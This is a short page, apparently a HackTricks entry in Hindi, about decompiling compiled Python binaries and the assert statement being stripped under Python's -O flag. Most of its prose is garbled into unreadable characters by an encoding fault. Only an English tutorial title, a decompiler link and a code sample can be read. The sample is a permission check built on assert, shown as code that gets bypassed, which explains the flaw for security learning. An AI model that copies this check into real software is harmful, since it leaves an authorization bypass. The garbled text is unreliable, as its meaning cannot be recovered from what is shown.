рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЬреИрд╕реЗ рдХрд┐ https://www.decompiler.com/ рдХреЛрдИ рджрд┐рдП рдЧрдП рд╕рдВрдХрд▓рд┐рдд рдкрд╛рдпрдерди рдХреЛрдб рдХреЛ рдбрд┐рдХрдВрдкрд╛рдЗрд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕ рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓ рдХреЛ рджреЗрдЦреЗрдВ:

Decompile compiled python binaries (exe, elf) - Retreive from .pyc

рд╡рд┐рд╡рд┐рдз рдкрд╛рдпрдерди

Assert

рдкрд╛рдпрдерди рдХреЛ рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреЗрд╢рди рдХреЗ рд╕рд╛рде -O рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдиреЗ рдкрд░ рдПрд╕реЗрдЯ рд╕реНрдЯреЗрдЯрдореЗрдВрдЯ рдФрд░ debug рдХреЗ рдорд╛рди рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдХреЛрдИ рднреА рдХреЛрдб рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдЬрд╛рдБрдЪреЗрдВ рдЬреИрд╕реЗ

def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")

will be bypassed

рд╕рдВрджрд░реНрдн

Support HackTricks

Last updated